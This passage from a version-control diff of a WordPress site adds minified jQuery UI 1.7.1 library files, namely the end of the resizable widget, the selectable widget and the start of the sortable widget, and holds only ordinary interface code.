d=c.browser.msie&&c.browser.version<7,f=(d?1:0),g=(d?2:-1);this.helper.addClass(this._helper).css({width:this.element.outerWidth()+g,height:this.element.outerHeight()+g,position:"absolute",left:this.elementOffset.left-f+"px",top:this.elementOffset.top-f+"px",zIndex:++h.zIndex});this.helper.appendTo("body").disableSelection()}else{this.helper=this.element}},_change:{e:function(f,e,d){return{width:this.originalSize.width+e}},w:function(g,e,d){var i=this.options,f=this.originalSize,h=this.originalPosition;return{left:h.left+e,width:f.width-e}},n:function(g,e,d){var i=this.options,f=this.originalSize,h=this.originalPosition;return{top:h.top+d,height:f.height-d}},s:function(f,e,d){return{height:this.originalSize.height+d}},se:function(f,e,d){return c.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[f,e,d]))},sw:function(f,e,d){return c.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[f,e,d]))},ne:function(f,e,d){return c.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[f,e,d]))},nw:function(f,e,d){return c.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[f,e,d]))}},_propagate:function(e,d){c.ui.plugin.call(this,e,[d,this.ui()]);(e!="resize"&&this._trigger(e,d,this.ui()))},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}));c.extend(c.ui.resizable,{version:"1.7.1",eventPrefix:"resize",defaults:{alsoResize:false,animate:false,animateDuration:"slow",animateEasing:"swing",aspectRatio:false,autoHide:false,cancel:":input,option",containment:false,delay:0,distance:1,ghost:false,grid:false,handles:"e,s,se",helper:false,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:1000}});c.ui.plugin.add("resizable","alsoResize",{start:function(e,f){var d=c(this).data("resizable"),g=d.options;_store=function(h){c(h).each(function(){c(this).data("resizable-alsoresize",{width:parseInt(c(this).width(),10),height:parseInt(c(this).height(),10),left:parseInt(c(this).css("left"),10),top:parseInt(c(this).css("top"),10)})})};if(typeof(g.alsoResize)=="object"&&!g.alsoResize.parentNode){if(g.alsoResize.length){g.alsoResize=g.alsoResize[0];_store(g.alsoResize)}else{c.each(g.alsoResize,function(h,i){_store(h)})}}else{_store(g.alsoResize)}},resize:function(f,h){var e=c(this).data("resizable"),i=e.options,g=e.originalSize,k=e.originalPosition;var j={height:(e.size.height-g.height)||0,width:(e.size.width-g.width)||0,top:(e.position.top-k.top)||0,left:(e.position.left-k.left)||0},d=function(l,m){c(l).each(function(){var p=c(this),q=c(this).data("resizable-alsoresize"),o={},n=m&&m.length?m:["width","height","top","left"];c.each(n||["width","height","top","left"],function(r,t){var s=(q[t]||0)+(j[t]||0);if(s&&s>=0){o[t]=s||null}});if(/relative/.test(p.css("position"))&&c.browser.opera){e._revertToRelativePosition=true;p.css({position:"absolute",top:"auto",left:"auto"})}p.css(o)})};if(typeof(i.alsoResize)=="object"&&!i.alsoResize.nodeType){c.each(i.alsoResize,function(l,m){d(l,m)})}else{d(i.alsoResize)}},stop:function(e,f){var d=c(this).data("resizable");if(d._revertToRelativePosition&&c.browser.opera){d._revertToRelativePosition=false;el.css({position:"relative"})}c(this).removeData("resizable-alsoresize-start")}});c.ui.plugin.add("resizable","animate",{stop:function(h,m){var n=c(this).data("resizable"),i=n.options;var g=n._proportionallyResizeElements,d=g.length&&(/textarea/i).test(g[0].nodeName),e=d&&c.ui.hasScroll(g[0],"left")?0:n.sizeDiff.height,k=d?0:n.sizeDiff.width;var f={width:(n.size.width-k),height:(n.size.height-e)},j=(parseInt(n.element.css("left"),10)+(n.position.left-n.originalPosition.left))||null,l=(parseInt(n.element.css("top"),10)+(n.position.top-n.originalPosition.top))||null;n.element.animate(c.extend(f,l&&j?{top:l,left:j}:{}),{duration:i.animateDuration,easing:i.animateEasing,step:function(){var o={width:parseInt(n.element.css("width"),10),height:parseInt(n.element.css("height"),10),top:parseInt(n.element.css("top"),10),left:parseInt(n.element.css("left"),10)};if(g&&g.length){c(g[0]).css({width:o.width,height:o.height})}n._updateCache(o);n._propagate("resize",h)}})}});c.ui.plugin.add("resizable","containment",{start:function(e,q){var s=c(this).data("resizable"),i=s.options,k=s.element;var f=i.containment,j=(f instanceof c)?f.get(0):(/parent/.test(f))?k.parent().get(0):f;if(!j){return}s.containerElement=c(j);if(/document/.test(f)||f==document){s.containerOffset={left:0,top:0};s.containerPosition={left:0,top:0};s.parentData={element:c(document),left:0,top:0,width:c(document).width(),height:c(document).height()||document.body.parentNode.scrollHeight}}else{var m=c(j),h=[];c(["Top","Right","Left","Bottom"]).each(function(p,o){h[p]=b(m.css("padding"+o))});s.containerOffset=m.offset();s.containerPosition=m.position();s.containerSize={height:(m.innerHeight()-h[3]),width:(m.innerWidth()-h[1])};var n=s.containerOffset,d=s.containerSize.height,l=s.containerSize.width,g=(c.ui.hasScroll(j,"left")?j.scrollWidth:l),r=(c.ui.hasScroll(j)?j.scrollHeight:d);s.parentData={element:j,left:n.left,top:n.top,width:g,height:r}}},resize:function(f,p){var s=c(this).data("resizable"),h=s.options,e=s.containerSize,n=s.containerOffset,l=s.size,m=s.position,q=s._aspectRatio||f.shiftKey,d={top:0,left:0},g=s.containerElement;if(g[0]!=document&&(/static/).test(g.css("position"))){d=n}if(m.left<(s._helper?n.left:0)){s.size.width=s.size.width+(s._helper?(s.position.left-n.left):(s.position.left-d.left));if(q){s.size.height=s.size.width/h.aspectRatio}s.position.left=h.helper?n.left:0}if(m.top<(s._helper?n.top:0)){s.size.height=s.size.height+(s._helper?(s.position.top-n.top):s.position.top);if(q){s.size.width=s.size.height*h.aspectRatio}s.position.top=s._helper?n.top:0}s.offset.left=s.parentData.left+s.position.left;s.offset.top=s.parentData.top+s.position.top;var k=Math.abs((s._helper?s.offset.left-d.left:(s.offset.left-d.left))+s.sizeDiff.width),r=Math.abs((s._helper?s.offset.top-d.top:(s.offset.top-n.top))+s.sizeDiff.height);var j=s.containerElement.get(0)==s.element.parent().get(0),i=/relative|absolute/.test(s.containerElement.css("position"));if(j&&i){k-=s.parentData.left}if(k+s.size.width>=s.parentData.width){s.size.width=s.parentData.width-k;if(q){s.size.height=s.size.width/s.aspectRatio}}if(r+s.size.height>=s.parentData.height){s.size.height=s.parentData.height-r;if(q){s.size.width=s.size.height*s.aspectRatio}}},stop:function(e,m){var p=c(this).data("resizable"),f=p.options,k=p.position,l=p.containerOffset,d=p.containerPosition,g=p.containerElement;var i=c(p.helper),q=i.offset(),n=i.outerWidth()-p.sizeDiff.width,j=i.outerHeight()-p.sizeDiff.height;if(p._helper&&!f.animate&&(/relative/).test(g.css("position"))){c(this).css({left:q.left-d.left-l.left,width:n,height:j})}if(p._helper&&!f.animate&&(/static/).test(g.css("position"))){c(this).css({left:q.left-d.left-l.left,width:n,height:j})}}});c.ui.plugin.add("resizable","ghost",{start:function(f,g){var d=c(this).data("resizable"),h=d.options,e=d.size;d.ghost=d.originalElement.clone();d.ghost.css({opacity:0.25,display:"block",position:"relative",height:e.height,width:e.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof h.ghost=="string"?h.ghost:"");d.ghost.appendTo(d.helper)},resize:function(e,f){var d=c(this).data("resizable"),g=d.options;if(d.ghost){d.ghost.css({position:"relative",height:d.size.height,width:d.size.width})}},stop:function(e,f){var d=c(this).data("resizable"),g=d.options;if(d.ghost&&d.helper){d.helper.get(0).removeChild(d.ghost.get(0))}}});c.ui.plugin.add("resizable","grid",{resize:function(d,l){var n=c(this).data("resizable"),g=n.options,j=n.size,h=n.originalSize,i=n.originalPosition,m=n.axis,k=g._aspectRatio||d.shiftKey;g.grid=typeof g.grid=="number"?[g.grid,g.grid]:g.grid;var f=Math.round((j.width-h.width)/(g.grid[0]||1))*(g.grid[0]||1),e=Math.round((j.height-h.height)/(g.grid[1]||1))*(g.grid[1]||1);if(/^(se|s|e)$/.test(m)){n.size.width=h.width+f;n.size.height=h.height+e}else{if(/^(ne)$/.test(m)){n.size.width=h.width+f;n.size.height=h.height+e;n.position.top=i.top-e}else{if(/^(sw)$/.test(m)){n.size.width=h.width+f;n.size.height=h.height+e;n.position.left=i.left-f}else{n.size.width=h.width+f;n.size.height=h.height+e;n.position.top=i.top-e;n.position.left=i.left-f}}}}});var b=function(d){return parseInt(d,10)||0};var a=function(d){return !isNaN(parseInt(d,10))}})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.selectable.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.selectable.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.selectable.js	(revision 44)
@@ -0,0 +1,13 @@
+/*
+ * jQuery UI Selectable 1.7.1
+ *
+ * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://docs.jquery.com/UI/Selectables
+ *
+ * Depends:
+ *	ui.core.js
+ */
+(function(a){a.widget("ui.selectable",a.extend({},a.ui.mouse,{_init:function(){var b=this;this.element.addClass("ui-selectable");this.dragged=false;var c;this.refresh=function(){c=a(b.options.filter,b.element[0]);c.each(function(){var d=a(this);var e=d.offset();a.data(this,"selectable-item",{element:this,$element:d,left:e.left,top:e.top,right:e.left+d.outerWidth(),bottom:e.top+d.outerHeight(),startselected:false,selected:d.hasClass("ui-selected"),selecting:d.hasClass("ui-selecting"),unselecting:d.hasClass("ui-unselecting")})})};this.refresh();this.selectees=c.addClass("ui-selectee");this._mouseInit();this.helper=a(document.createElement("div")).css({border:"1px dotted black"}).addClass("ui-selectable-helper")},destroy:function(){this.element.removeClass("ui-selectable ui-selectable-disabled").removeData("selectable").unbind(".selectable");this._mouseDestroy()},_mouseStart:function(d){var b=this;this.opos=[d.pageX,d.pageY];if(this.options.disabled){return}var c=this.options;this.selectees=a(c.filter,this.element[0]);this._trigger("start",d);a(c.appendTo).append(this.helper);this.helper.css({"z-index":100,position:"absolute",left:d.clientX,top:d.clientY,width:0,height:0});if(c.autoRefresh){this.refresh()}this.selectees.filter(".ui-selected").each(function(){var e=a.data(this,"selectable-item");e.startselected=true;if(!d.metaKey){e.$element.removeClass("ui-selected");e.selected=false;e.$element.addClass("ui-unselecting");e.unselecting=true;b._trigger("unselecting",d,{unselecting:e.element})}});a(d.target).parents().andSelf().each(function(){var e=a.data(this,"selectable-item");if(e){e.$element.removeClass("ui-unselecting").addClass("ui-selecting");e.unselecting=false;e.selecting=true;e.selected=true;b._trigger("selecting",d,{selecting:e.element});return false}})},_mouseDrag:function(i){var c=this;this.dragged=true;if(this.options.disabled){return}var e=this.options;var d=this.opos[0],h=this.opos[1],b=i.pageX,g=i.pageY;if(d>b){var f=b;b=d;d=f}if(h>g){var f=g;g=h;h=f}this.helper.css({left:d,top:h,width:b-d,height:g-h});this.selectees.each(function(){var j=a.data(this,"selectable-item");if(!j||j.element==c.element[0]){return}var k=false;if(e.tolerance=="touch"){k=(!(j.left>b||j.right<d||j.top>g||j.bottom<h))}else{if(e.tolerance=="fit"){k=(j.left>d&&j.right<b&&j.top>h&&j.bottom<g)}}if(k){if(j.selected){j.$element.removeClass("ui-selected");j.selected=false}if(j.unselecting){j.$element.removeClass("ui-unselecting");j.unselecting=false}if(!j.selecting){j.$element.addClass("ui-selecting");j.selecting=true;c._trigger("selecting",i,{selecting:j.element})}}else{if(j.selecting){if(i.metaKey&&j.startselected){j.$element.removeClass("ui-selecting");j.selecting=false;j.$element.addClass("ui-selected");j.selected=true}else{j.$element.removeClass("ui-selecting");j.selecting=false;if(j.startselected){j.$element.addClass("ui-unselecting");j.unselecting=true}c._trigger("unselecting",i,{unselecting:j.element})}}if(j.selected){if(!i.metaKey&&!j.startselected){j.$element.removeClass("ui-selected");j.selected=false;j.$element.addClass("ui-unselecting");j.unselecting=true;c._trigger("unselecting",i,{unselecting:j.element})}}}});return false},_mouseStop:function(d){var b=this;this.dragged=false;var c=this.options;a(".ui-unselecting",this.element[0]).each(function(){var e=a.data(this,"selectable-item");e.$element.removeClass("ui-unselecting");e.unselecting=false;e.startselected=false;b._trigger("unselected",d,{unselected:e.element})});a(".ui-selecting",this.element[0]).each(function(){var e=a.data(this,"selectable-item");e.$element.removeClass("ui-selecting").addClass("ui-selected");e.selecting=false;e.selected=true;e.startselected=true;b._trigger("selected",d,{selected:e.element})});this._trigger("stop",d);this.helper.remove();return false}}));a.extend(a.ui.selectable,{version:"1.7.1",defaults:{appendTo:"body",autoRefresh:true,cancel:":input,option",delay:0,distance:0,filter:"*",tolerance:"touch"}})})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.sortable.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.sortable.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.sortable.js	(revision 44)
@@ -0,0 +1,13 @@
+/*
+ * jQuery UI Sortable 1.7.1
+ *
+ * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://docs.jquery.com/UI/Sortables
+ *
+ * Depends:
+ *	ui.core.js
+ */
+(function(a){a.widget("ui.sortable",a.extend({},a.ui.mouse,{_init:function(){var b=this.options;this.containerCache={};this.element.addClass("ui-sortable");this.refresh();this.floating=this.items.length?(/left|right/).test(this.items[0].item.css("float")):false;this.offset=this.element.offset();this._mouseInit()},destroy:function(){this.element.removeClass("ui-sortable ui-sortable-disabled").removeData("sortable").unbind(".sortable");this._mouseDestroy();for(var b=this.items.length-1;b>=0;b--){this.items[b].item.removeData("sortable-item")}},_mouseCapture:function(e,f){if(this.reverting){return false}if(this.options.disabled||this.options.type=="static"){return false}this._refreshItems(e);var d=null,c=this,b=a(e.target).parents().each(function(){if(a.data(this,"sortable-item")==c){d=a(this);return false}});if(a.data(e.target,"sortable-item")==c){d=a(e.target)}if(!d){return false}if(this.options.handle&&!f){var g=false;a(this.options.handle,d).find("*").andSelf().each(function(){if(this==e.target){g=true}});if(!g){return false}}this.currentItem=d;this._removeCurrentsFromItems();return true},_mouseStart:function(e,f,b){var g=this.options,c=this;this.currentContainer=this;this.refreshPositions();this.helper=this._createHelper(e);this._cacheHelperProportions();this._cacheMargins();this.scrollParent=this.helper.scrollParent();this.offset=this.currentItem.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};this.helper.css("position","absolute");this.cssPosition=this.helper.css("position");a.extend(this.offset,{click:{left:e.pageX-this.offset.left,top:e.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this._generatePosition(e);this.originalPageX=e.pageX;this.originalPageY=e.pageY;if(g.cursorAt){this._adjustOffsetFromHelper(g.cursorAt)}this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]};if(this.helper[0]!=this.currentItem[0]){this.currentItem.hide()}this._createPlaceholder();if(g.containment){this._setContainment()}if(g.cursor){if(a("body").css("cursor")){this._storedCursor=a("body").css("cursor")}a("body").css("cursor",g.cursor)}if(g.opacity){if(this.helper.css("opacity")){this._storedOpacity=this.helper.css("opacity")}this.helper.css("opacity",g.opacity)}if(g.zIndex){if(this.helper.css("zIndex")){this._storedZIndex=this.helper.css("zIndex")}this.helper.css("zIndex",g.zIndex)}if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"){this.overflowOffset=this.scrollParent.offset()}this._trigger("start",e,this._uiHash());if(!this._preserveHelperProportions){this._cacheHelperProportions()}if(!b){for(var d=this.containers.length-1;d>=0;d--){this.containers[d]._trigger("activate",e,c._uiHash(this))}}if(a.ui.ddmanager){a.ui.ddmanager.current=this}if(a.ui.ddmanager&&!g.dropBehaviour){a.ui.ddmanager.prepareOffsets(this,e)}this.dragging=true;this.helper.addClass("ui-sortable-helper");this._mouseDrag(e);return true},_mouseDrag:function(f){this.position=this._generatePosition(f);this.positionAbs=this._convertPositionTo("absolute");if(!this.lastPositionAbs){this.lastPositionAbs=this.positionAbs}if(this.options.scroll){var g=this.options,b=false;if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"){if((this.overflowOffset.top+this.scrollParent[0].offsetHeight)-f.pageY<g.scrollSensitivity){this.scrollParent[0].scrollTop=b=this.scrollParent[0].scrollTop+g.scrollSpeed}else{if(f.pageY-this.overflowOffset.top<g.scrollSensitivity){this.scrollParent[0].scrollTop=b=this.scrollParent[0].scrollTop-g.scrollSpeed}}if((this.overflowOffset.left+this.scrollParent[0].offsetWidth)-f.pageX<g.scrollSensitivity){this.scrollParent[0].scrollLeft=b=this.scrollParent[0].scrollLeft+g.scrollSpeed}else{if(f.pageX-this.overflowOffset.left<g.scrollSensitivity){this.scrollParent[0].scrollLeft=b=this.scrollParent[0].scrollLeft-g.scrollSpeed}}}else{if(f.pageY-a(document).scrollTop()<g.scrollSensitivity){b=a(document).scrollTop(a(document).scrollTop()-g.scrollSpeed)}else{if(a(window).height()-(f.pageY-a(document).scrollTop())<g.scrollSensitivity){b=a(document).scrollTop(a(document).scrollTop()+g.scrollSpeed)}}if(f.pageX-a(document).scrollLeft()<g.scrollSensitivity){b=a(document).scrollLeft(a(document).scrollLeft()-g.scrollSpeed)}else{if(a(window).width()-(f.pageX-a(document).scrollLeft())<g.scrollSensitivity){b=a(document).scrollLeft(a(document).scrollLeft()+g.scrollSpeed)}}}if(b!==false&&a.ui.ddmanager&&!g.dropBehaviour){a.ui.ddmanager.prepareOffsets(this,f)}}this.positionAbs=this._convertPositionTo("absolute");if(!this.options.axis||this.options.axis!="y"){this.helper[0].style.left=this.position.left+"px"}if(!this.options.axis||this.options.axis!="x"){this.helper[0].style.top=this.position.top+"px"}for(var d=this.items.length-1;d>=0;d--){var e=this.items[d],c=e.item[0],h=this._intersectsWithPointer(e);if(!h){continue}if(c!=this.currentItem[0]&&this.placeholder[h==1?"next":"prev"]()[0]!=c&&!a.ui.contains(this.placeholder[0],c)&&(this.options.type=="semi-dynamic"?!a.ui.contains(this.element[0],c):true)){this.direction=h==1?"down":"up";if(this.options.tolerance=="pointer"||this._intersectsWithSides(e)){this._rearrange(f,e)}else{break}this._trigger("change",f,this._uiHash());break}}this._contactContainers(f);if(a.ui.ddmanager){a.ui.ddmanager.drag(this,f)}this._trigger("sort",f,this._uiHash());this.lastPositionAbs=this.positionAbs;return false},_mouseStop:function(c,d){if(!c){return}if(a.ui.ddmanager&&!this.options.dropBehaviour){a.ui.ddmanager.drop(this,c)}if(this.options.revert){var b=this;var e=b.placeholder.offset();b.reverting=true;a(this.helper).animate({left:e.left-this.offset.parent.left-b.margins.left+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollLeft),top:e.top-this.offset.parent.top-b.margins.top+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollTop)},parseInt(this.options.revert,10)||500,function(){b._clear(c)})}else{this._clear(c,d)}return false},cancel:function(){var b=this;if(this.dragging){this._mouseUp();if(this.options.helper=="original"){this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper")}else{this.currentItem.show()}for(var c=this.containers.length-1;c>=0;c--){this.containers[c]._trigger("deactivate",null,b._uiHash(this));if(this.containers[c].containerCache.over){this.containers[c]._trigger("out",null,b._uiHash(this));this.containers[c].containerCache.over=0}}}if(this.placeholder[0].parentNode){this.placeholder[0].parentNode.removeChild(this.placeholder[0])}if(this.options.helper!="original"&&this.helper&&this.helper[0].parentNode){this.helper.remove()}a.extend(this,{helper:null,dragging:false,reverting:false,_noFinalSort:null});if(this.domPosition.prev){a(this.domPosition.prev).after(this.currentItem)}else{a(this.domPosition.parent).prepend(this.currentItem)}return true},serialize:function(d){var b=this._getItemsAsjQuery(d&&d.connected);var c=[];d=d||{};a(b).each(function(){var e=(a(d.item||this).attr(d.attribute||"id")||"").match(d.expression||(/(.+)[-=_](.+)/));if(e){c.push((d.key||e[1]+"[]")+"="+(d.key&&d.expression?e[1]:e[2]))}});return c.join("&")},toArray:function(d){var b=this._getItemsAsjQuery(d&&d.connected);var c=[];d=d||{};b.each(function(){c.push(a(d.item||this).attr(d.attribute||"id")||"")});return c},_intersectsWith:function(m){var e=this.positionAbs.left,d=e+this.helperProportions.width,k=this.positionAbs.top,j=k+this.helperProportions.height;var f=m.left,c=f+m.width,n=m.top,i=n+m.height;var o=this.offset.click.top,h=this.offset.click.left;var g=(k+o)>n&&(k+o)<i&&(e+h)>f&&(e+h)<c;if(this.options.tolerance=="pointer"||this.options.forcePointerForContainers||(this.options.tolerance!="pointer"&&this.helperProportions[this.floating?"width":"height"]>m[this.floating?"width":"height"])){return g}else{return(f<e+(this.helperProportions.width/2)&&d-(this.helperProportions.width/2)<c&&n<k+(this.helperProportions.height/2)&&j-(this.helperProportions.height/2)<i)}},_intersectsWithPointer:function(d){var e=a.ui.isOverAxis(this.positionAbs.top+this.offset.click.top,d.top,d.height),c=a.ui.isOverAxis(this.positionAbs.left+this.offset.click.left,d.left,d.width),g=e&&c,b=this._getDragVerticalDirection(),f=this._getDragHorizontalDirection();if(!g){return false}return this.floating?(((f&&f=="right")||b=="down")?2:1):(b&&(b=="down"?2:1))},_intersectsWithSides:function(e){var c=a.ui.isOverAxis(this.positionAbs.top+this.offset.click.top,e.top+(e.height/2),e.height),d=a.ui.isOverAxis(this.positionAbs.left+this.offset.click.left,e.left+(e.width/2),e.width),b=this._getDragVerticalDirection(),f=this._getDragHorizontalDirection();if(this.floating&&f){return((f=="right"&&d)||(f=="left"&&!d))}else{return b&&((b=="down"&&c)||(b=="up"&&!c))}},_getDragVerticalDirection:function(){var b=this.positionAbs.top-this.lastPositionAbs.top;return b!=0&&(b>0?"down":"up")},_getDragHorizontalDirection:function(){var b=this.positionAbs.left-this.lastPositionAbs.left;return b!=0&&(b>0?"right":"left")},refresh:function(b){this._refreshItems(b);this.refreshPositions()},_connectWith:function(){var b=this.options;return b.connectWith.constructor==String?[b.connectWith]:b.connectWith},_getItemsAsjQuery:function(b){var l=this;var g=[];var e=[];var h=this._connectWith();if(h&&b){for(var d=h.length-1;d>=0;d--){var k=a(h[d]);for(var c=k.length-1;c>=0;c--){var f=a.data(k[c],"sortable");if(f&&f!=this&&!f.options.disabled){e.push([a.isFunction(f.options.items)?f.options.items.call(f.element):a(f.options.items,f.element).not(".ui-sortable-helper"),f])}}}}e.push([a.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):a(this.options.items,this.element).not(".ui-sortable-helper"),this]);for(var d=e.length-1;d>=0;d--){e[d][0].each(function(){g.push(this)})}return a(g)},_removeCurrentsFromItems:function(){var d=this.currentItem.find(":data(sortable-item)");for(var c=0;c<this.items.length;c++){for(var b=0;b<d.length;b++){if(d[b]==this.items[c].item[0]){this.items.splice(c,1)}}}},_refreshItems:function(b){this.items=[];this.containers=[this];var h=this.items;var p=this;var f=[[a.isFunction(this.options.items)?this.options.items.call(this.element[0],b,{item:this.currentItem}):a(this.options.items,this.element),this]];var l=this._connectWith();if(l){for(var e=l.length-1;e>=0;e--){var m=a(l[e]);for(var d=m.length-1;d>=0;d--){var g=a.data(m[d],"sortable");if(g&&g!=this&&!g.options.disabled){f.push([a.isFunction(g.options.items)?g.options.items.call(g.element[0],b,{item:this.currentItem}):a(g.options.items,g.element),g]);this.containers.push(g)}}}}for(var e=f.length-1;e>=0;e--){var k=f[e][1];var c=f[e][0];for(var d=0,n=c.length;d<n;d++){var o=a(c[d]);o.data("sortable-item",k);h.push({item:o,instance:k,width:0,height:0,left:0,top:0})}}},refreshPositions:function(b){if(this.offsetParent&&this.helper){this.offset.parent=this._getParentOffset()}for(var d=this.items.length-1;d>=0;d--){var e=this.items[d];if(e.instance!=this.currentContainer&&this.currentContainer&&e.item[0]!=this.currentItem[0]){continue}var c=this.options.toleranceElement?a(this.options.toleranceElement,e.item):e.item;if(!b){e.width=c.outerWidth();e.height=c.outerHeight()}var f=c.offset();e.left=f.left;e.top=f.top}if(this.options.custom&&this.options.custom.refreshContainers){this.options.custom.refreshContainers.call(this)}else{for(var d=this.containers.length-1;d>=0;d--){var f=this.containers[d].element.offset();this.containers[d].containerCache.left=f.left;this.containers[d].containerCache.top=f.top;this.containers[d].containerCache.width=this.containers[d].element.outerWidth();this.containers[d].containerCache.height=this.containers[d].element.outerHeight()}}},_createPlaceholder:function(d){var b=d||this,e=b.options;if(!e.placeholder||e.placeholder.constructor==String){var c=e.placeholder;e.placeholder={element:function(){var f=a(document.createElement(b.currentItem[0].nodeName)).addClass(c||b.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper")[0];if(!c){f.style.visibility="hidden"}return f},update:function(f,g){if(c&&!e.forcePlaceholderSize){return}if(!g.height()){g.height(b.currentItem.innerHeight()-parseInt(b.currentItem.css("paddingTop")||0,10)-parseInt(b.currentItem.css("paddingBottom")||0,10))}if(!g.width()){g.width(b.currentItem.innerWidth()-parseInt(b.currentItem.css("paddingLeft")||0,10)-parseInt(b.currentItem.css("paddingRight")||0,10))}}}}b.placeholder=a(e.placeholder.element.call(b.element,b.currentItem));b.currentItem.after(b.placeholder);e.placeholder.update(b,b.placeholder)},_contactContainers:function(d){for(var c=this.containers.length-1;c>=0;c--){if(this._intersectsWith(this.containers[c].containerCache)){if(!this.containers[c].containerCache.over){if(this.currentContainer!=this.containers[c]){var h=10000;var g=null;var e=this.positionAbs[this.containers[c].floating?"left":"top"];for(var b=this.items.length-1;b>=0;b--){if(!a.ui.contains(this.containers[c].element[0],this.items[b].item[0])){continue}var f=this.items[b][this.containers[c].floating?"left":"top"];if(Math.abs(f-e)<h){h=Math.abs(f-e);g=this.items[b]}}if(!g&&!this.options.dropOnEmpty){continue}this.currentContainer=this.containers[c];g?this._rearrange(d,g,null,true):this._rearrange(d,null,this.containers[c].element,true);this._trigger("change",d,this._uiHash());this.containers[c]._trigger("change",d,this._uiHash(this));this.options.placeholder.update(this.currentContainer,this.placeholder)}this.containers[c]._trigger("over",d,this._uiHash(this));this.containers[c].containerCache.over=1}}else{if(this.containers[c].containerCache.over){this.containers[c]._trigger("out",d,this._uiHash(this));this.containers[c].containerCache.over=0}}}},_createHelper:function(c){var d=this.options;var b=a.isFunction(d.helper)?a(d.helper.apply(this.element[0],[c,this.currentItem])):(d.helper=="clone"?this.currentItem.clone():this.currentItem);if(!b.parents("body").length){a(d.appendTo!="parent"?d.appendTo:this.currentItem[0].parentNode)[0].appendChild(b[0])}if(b[0]==this.currentItem[0]){this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}}if(b[0].style.width==""||d.forceHelperSize){b.width(this.currentItem.width())}if(b[0].style.height==""||d.forceHelperSize){b.height(this.currentItem.height())}return b},_adjustOffsetFromHelper:function(b){if(b.left!=undefined){this.offset.click.left=b.left+this.margins.left}if(b.right!=undefined){this.offset.click.left=this.helperProportions.width-b.right+this.margins.left}if(b.top!=undefined){this.offset.click.top=b.top+this.margins.top}if(b.bottom!=undefined){this.offset.click.top=this.helperProportions.height-b.bottom+this.margins.top}},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var b=this.offsetParent.offset();if(this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0])){b.left+=this.scrollParent.scrollLeft();b.top+=this.scrollParent.scrollTop()}if((this.offsetParent[0]==document.body)||(this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&a.browser.msie)){b={top:0,left:0}}return{top:b.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:b.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var b=this.currentItem.position();return{top:b.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:b.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}else{return{top:0,left:0}}},_cacheMargins:function(){this.margins={left:(parseInt(this.currentItem.css("marginLeft"),10)||0),top:(parseInt(this.currentItem.css("marginTop"),10)||0)}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e=this.options;if(e.containment=="parent"){e.containment=this.helper[0].parentNode}if(e.containment=="document"||e.containment=="window"){this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,a(e.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(a(e.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]}if(!(/^(document|window|parent)$/).test(e.containment)){var c=a(e.containment)[0];var d=a(e.containment).offset();var b=(a(c).css("overflow")!="hidden");this.containment=[d.left+(parseInt(a(c).css("borderLeftWidth"),10)||0)+(parseInt(a(c).css("paddingLeft"),10)||0)-this.margins.left,d.top+(parseInt(a(c).css("borderTopWidth"),10)||0)+(parseInt(a(c).css("paddingTop"),10)||0)-this.margins.top,d.left+(b?Math.max(c.scrollWidth,c.offsetWidth):c.offsetWidth)-(parseInt(a(c).css("borderLeftWidth"),10)||0)-(parseInt(a(c).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,d.top+(b?Math.max(c.scrollHeight,c.offsetHeight):c.offsetHeight)-(parseInt(a(c).css("borderTopWidth"),10)||0)-(parseInt(a(c).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top]}},_convertPositionTo:function(f,h){if(!h){h=this.position}var c=f=="absolute"?1:-1;var 